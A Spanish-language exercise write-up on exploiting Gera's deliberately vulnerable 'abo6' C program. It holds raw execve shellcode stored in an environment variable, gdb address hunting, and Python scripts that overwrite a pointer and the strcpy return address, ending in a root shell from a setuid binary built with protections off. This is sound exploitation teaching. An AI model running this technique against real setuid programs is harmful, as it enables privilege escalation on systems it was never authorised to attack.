Ataque usando variables de entorno

Análisis del programa vulnerable

Abo 6

/* abo6.c                                                   *
 * specially crafted to feed your brain by gera@core-sdi.com */

/* return to me my love                                     */

int main(int argv,char **argc) {
	char *pbuf=malloc(strlen(argc[2])+1);
	char buf[256];

	strcpy(buf,argc[1]);
	strcpy(pbuf,argc[2]);
	while(1);
}

¿Qué hace el programa?

Este programa es muy similar al Abo 5, apila dos variables locales: el puntero pbuf (que apunta al heap) y buf. Después de copiar el contenido del primer y segundo parámetro en las variables entra en un loop infinito con while(1), provocando que main() nunca retorne.

Layout de la pila antes del exploit:

En este punto de la ejecución el mapa de la pila es el siguiente:

    int main(int argv,char **argc) {
       char *pbuf=malloc(strlen(argc[2])+1);
       char buf[256];
     
eip => strcpy(buf,argc[1]);
       strcpy(pbuf,argc[2]);
       while(1);
    }

layout pila

¿Cuál es la dificultad principal?

Al igual que en el abo5 de nada nos serviría sobreescribir la dirección de retorno de main(), ya que por el loop infinito while(1) nunca retorna.

Ataque “Smash the stack” con variables de entorno

Hasta este punto almacenabamos el shellcode en una variable local dentro de la pila. Si bien hay estrategias para reducir la cantidad de bytes de un shellcode (optimizando el código assembler al máximo), es esperable que este búfer sea demasiado pequeño para almacenarlo. Una solución alternativa es almacenar el shellcode en otros espacios de memoria como las variables de entorno, que no tienen restricciones de tamaño y -a su vez- también se almacenan en la pila.

Aquí un detalle del almacenamiento de las variables de entorno en la pila:

variables-entorno

Para probar el funcionamiento de este ataque creamos una nueva variable de entorno VAR con el string “prueba”:

user@abos:~$ export VAR=prueba
user@abos:~$ env               ; consultamos las variables de entorno
XDG_SESSION_ID=XXX
TERM=xterm-256color
SHELL=/bin/bash
VAR=prueba                     ; nueva variable de entorno
....

Ahora creamos una variable de entorno SHELLCODE dónde vamos a almacenar el shellcode:

user@abos:~$ for i in $(python -c 'print("\xeb\x1e\x31\xc0\x5b\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b\x08\x8d\x53\x0c\x31\xd2\xb0\x0b\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43")'); do echo -en $i; done > shellcode.bin
user@abos:~$ export SHELLCODE=$(cat shellcode.bin)
user@abos:~$ env
XDG_SESSION_ID=XXX
SHELLCODE=�1�[�C��C                                  ; el shellcode
                    ��S
                       1Ұ
                         �1�̀�����/bin/shABBBBCCCC
TERM=xterm-256color
SHELL=/bin/bash
....

En este punto cuando ejecutemos el programa vulnerable sabremos que el shellcode inyectado al que debemos redireccionar la ejecución está en la pila junto al resto de las variables de entorno.

El objetivo será modificar la dirección de retorno del segundo strcpy() para que apunte a la variable de entorno shellcode en vez de retornar a main(). Al igual que antes, lo logramos de manera indirecta:

  1. strcpy(buf,argc[1]) con el primer parámetro sobreescribirmos pbuf para que apunte a la dirección de retorno del segundo strcpy().
  2. strcpy(pbuf,argc[2]) dado que el segundo parámetro modifica el valor al que apunta pbuf, con él podemos sobreescribir la dirección de retorno del segundo strcpy() para que apunte a la variable de entorno SHELLCODE.

Layout de la pila deseado:

layout pila

  1. Inyectamos el shellcode en una nueva variable de entorno
    user@abos:~$ gcc -m32 -no-pie -fno-stack-protector -ggdb -mpreferred-stack-boundary=2 -z execstack -o abo6 abo6.c
    user@abos:~$ sudo chown root ./abo6; sudo chmod u+s ./abo6                      ; root owner y setuid
    
    user@abos:~$ for i in $(python -c 'print("\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x1e\x31\xc0\x5b\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b\x08\x8d\x53\x0c\x31\xd2\xb0\x0b\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43")'); do echo -en $i; done > shellcode.bin
    
    user@abos:~$ export SHELLCODE=$(cat shellcode.bin)
    user@abos:~$ env
    XDG_SESSION_ID=XXX
    SHELLCODE=�1�[�C��C
                     ��S
                        1Ұ
                          �1�̀�����/bin/shABBBBCCCC
    TERM=xterm-256color
    SHELL=/bin/bash
    

    Consideraciones: en esta instancia se apela a un truco para lograr una shell con privilegios de root se modifican los permisos del binario con chown y chmod.

  2. Averiguamos la dirección del shellcode en la pila.
    Para lograr consistencia en las direcciones de la pila con y sin gdbcorremos el programa con el script fixenv de Hellman.
       user@abos:~$ ./r.sh gdb ./abo6
       (gdb) show env
       XDG_SESSION_ID=328
       SHELLCODE=�1�[�C��C                       ; shellcode en env
                 �1�̀�����/bin/shABBBBCCCC
       SHELL=/bin/bash
       
       (gdb) x/2000s $esp                           ; vemos addr de shellcode
       0xbffff90a:	"XDG_SESSION_ID=335"
    => 0xbffff91d:	"SHELLCODE=", '\220' <repeats 20 times>, "\061\300\061\333\061\311\231\260\244\315\200j\vXQh//shh/bin\211\343Q\211\342S\211\341\315\200"
       0xbffff95f:	"SHELL=/bin/bash"
       ....
    
       (gdb) x/4wx 0xbffff91d                      ; ASCII de "SHELLCODE" + nops
       0xbffff91d:	0x4c454853	0x444f434c	0x90903d45	0x90909090
    
       (gdb) x/xw 0xbffff91d+10                    ; addr nop slide
    => 0xbffff927:	0x90909090
    

    Primero detectamos que en 0xbffff91d comienza el nombre de la variable de entorno, es decir el string “SHELLCODE”. A esa dirección le sumamos diez caracteres para saltearnos el string del nombre y obtener una dirección que desemboque directamente en los NOPs (en gdb verificamos que en 0xbffff927 están los nops). Entonces la dirección a la que debemos redirigir el flujo de ejecución es: 0xbffff927.

  3. Armamos ambos argumentos a usar.
    input

    1. Primer argumento: usamos el primer strcpy(buf,argc[1]) para sobreescribir pbuf con un overflow y lo hacemos apuntar, ya no al heap, sino a la dirección de retorno del segundo strcpy(), que como aún no sabemos cuál es indicamos 0x41414141.

      Con esto armamos un archivo python para ingresar como primer parámetro:

      param1.py
            
      #! /usr/bin/env python
            
      import sys
      from struct import pack
            
      len_buf = 256
      ret_addr_strcpy = 0x41414141                #???? 
            
      exploit  = "\x41" * len_buf                 #fill buf
      exploit += pack("<I", ret_addr_strcpy)      #set pbuf
            
      sys.stdout.write(exploit)
      
    2. Segundo argumento: aprovechando strcpy(pbuf,argc[2]) modificamos el valor al que apunta pbuf, es decir, modificamos la dirección de retorno del strcpy() y la reemplazamos por la dirección del shellcode del entorno. Armamos un archivo python para ingresar como segundo parámetro:

      param2.py 
            
      #! /usr/bin/env python
            
      import sys
      from struct import pack
            
      env_shell_addr = 0xbffff927
            
      exploit = pack("<I", env_shell_addr)         #set ret addr del 2do strcpy()
            
      sys.stdout.write(exploit)
      
  4. Finalmente, averiguamos la dirección de retorno que va a apilar el segundo strcpy(), ejecutando el programa vulnerable con los dos argumentos definidos antes.

    user@abos:~$ ./r.sh gdb ./abo6
    
    (gdb) break 13                                        ; break en 2do strcpy()
    (gdb) r "$(./param1.py)" "$(./param2.py)"
    (gdb) c
    Continuing.
    
    Breakpoint 2, main (argv=3, argc=0xbffff6d4) at abo6.c:13
    13    strcpy(pbuf,argc[2]);
    
    (gdb) x/2i $eip                 
    => 0x80484a5 <main+74>: push   DWORD PTR [ebp-0x4]
       0x80484a8 <main+77>: call   0x8048310 <strcpy@plt>
    (gdb) si
    (gdb) x/i $eip                                        ; llegamos al call de 2do strcpy()
    => 0x80484a8 <main+77>: call   0x8048310 <strcpy@plt>
    (gdb) si                                              ; entramos en 2do strcpy()
    0x08048310 in strcpy@plt ()
    (gdb) x/wx $esp                                       ; vemos ret_addr apilada 
    0xbffff528: 0x080484ad
    (gdb) 
    

    Llegamos al punto en el que se ejecuta la línea de código strcpy(pbuf,argc[2]), avanzamos una siguiente instrucción con si y leemos el tope de la pila x/wx $esp para conocer en qué dirección se apiló la dirección de retorno a main(). La dirección de retorno del segundo strcpy() que debemos sobreescribir es entonces 0xbffff528.

    Consideraciones: el programa vulnerable toma dos argumentos que se almacenan en la pila y por ende su longitud afecta los cálculos de las direcciones. Es por eso que para saber con exactitud la dirección de retorno debemos cuidar que las distintas ejecuciones del programa tengan argumentos siempre de igual longitud. Incluso planificamos que los valores temporales que usamos como 0x41414141 ocupen el mismo espacio que ocupará la dirección definitiva.

    Actualizamos con la dirección de retorno con el valor correcto en el primer parámetro del exploit.

    param1.py
       
    #! /usr/bin/env python
       
    import sys
    from struct import pack
       
    len_buf = 256
    ret_addr_strcpy = 0xbffff528
       
    exploit  = "\x41" * len_buf                 #fill buf
    exploit += pack("<I", ret_addr_strcpy)      #set pbuf
       
    sys.stdout.write(exploit)
    
  5. Lo ejecutamos y logramos la shell.
    user@abos:~$ ./r.sh ./abo6 "$(./param1.py)" "$(./param2.py)"
    # id
    uid=1001(user) gid=1001(user) euid=0(root) groups=1001(user),27(sudo)
    # whoami
    root
    # 
    

    Suponiendo que el binario vulnerable fue creado por root con permisos especiales setuid, con este ataque lograríamos una root shell que podrá por ejemplo acceder a archivos como root, etc.

Material consultado

[1]. Erickson, Jon. (2008). Hacking: the art of exploitation.